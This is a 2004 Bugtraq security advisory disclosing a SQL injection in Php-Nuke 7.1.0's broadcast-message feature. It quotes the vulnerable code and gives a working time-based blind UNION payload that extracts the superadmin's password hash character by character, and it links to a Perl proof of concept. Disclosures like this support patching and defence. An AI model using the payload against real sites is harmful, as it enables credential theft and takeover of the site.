[waraxe-2004-SA#003] - SQL injection in Php-Nuke 7.1.0

From: Janek Vind (come2waraxe_at_yahoo.com)
Date: 02/08/04

  • Next message: SBNelson_at_thermeon.com: "RE: Decompression Bombs" 
    Date: 8 Feb 2004 20:15:31 -0000
To: bugtraq@securityfocus.com
    ('binary' encoding is not supported, stored as-is)

    {================================================================================}
    { [waraxe-2004-SA#003] }
    {================================================================================}
    { }
    { [ SQL injection in Php-Nuke 7.1.0 ] }
    { }
    {================================================================================}
                                                                                                                                    
    Author: Janek Vind "waraxe"
    Date: 08 Feb 2004
    Location: Estonia, Tartu

    Affected software description:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

          Php-Nuke is popular freeware content management system, written in php by
    Francisco Burzi. This CMS (Content Management System) is used on many thousands
    websites, because it`s free of charge, easy to install and has broad set of features.

    Homepage: http://phpnuke.org

    Vulnerabilities:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

        Php-Nuke 6.x-7.1.0 (maybe older too) have feature called "public message" alias
    "broadcast message". There exists serious SQL Injection bug in implementation code of
    this feature, which can lead to stealing of sensitive data from database, including
    admin`s username and password md5 hash and finally to total overtaking of the site.

    Exploit:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

        Let`s look at original code from "/mainfile.php" function "public_message()":

    if (!is_user($user) OR (is_user($user) AND ($pm_show == 1))) {

        $c_mid = base64_decode($p_msg);

        $sql = "SELECT mid, content, date, who FROM ".$prefix."_public_messages WHERE mid > '$c_mid' ORDER BY date ASC LIMIT 1";

        $result = $db->sql_query($sql);
        $row = $db->sql_fetchrow($result);

    We can deliver the variable $p_msg by GET, POST or COOKIE parameter and because the Php-Nuke will
    make force all GPC variables to be global, it will work even with "register_globals = Off";
    Now comes the funniest part - because $c_mid will be derived from base64_decoded string, then we
    can have unescaped single slashes, delivered directly to SQL query, and "magic_quotes_gpc = On" can`t
    do anything about that!!

    How can we use this to do something useful (from the point of attacker)? If the MySQL has version
    4.x, then answer is: unions.

    Consider this example:

    $c_mid = x'UNION SELECT null,null,null,pwd FROM nuke_authors WHERE name='God'
      AND IF(mid(pwd,1,1)='0',benchmark(200000,md5('woot')),1)/*

    which will be finally:

    SELECT
        mid, content, date, who
     FROM
        nuke_public_messages
     WHERE
        mid > 'x'
     UNION
     SELECT
        null,null,null,pwd
     FROM
        nuke_authors
     WHERE name='God'
      AND
       IF
          (mid(pwd,1,1)='0',benchmark(200000,md5('woot')),1)/*
             ' ORDER BY date ASC LIMIT 1

    This method is so called "blind fishing", where we can get information from database
    byte by byte, and it will work WITHOUT visual feedback from script. In our example,
    if first char of the superadmin`s password md5 hash is '0', then the page generation
    will be delayed for some seconds. If it`s not '0', then we have normal page
    generation time and we can try next char - in this case '1'.

    I wrote for proof of concept perl script, which can be found at:

    http://www.zone.ee/waraxe/sa003/bcast.pl.php

    Greetings:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

        Greets to ulljobu, djzone, raider and to all white-, gray-, and blackhats in Estonia!

    Contact:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

        come2waraxe@yahoo.com
        Janek Vind "waraxe"

    ---------------------------------- [ EOF ] ------------------------------------

  • Next message: SBNelson_at_thermeon.com: "RE: Decompression Bombs"
    Loading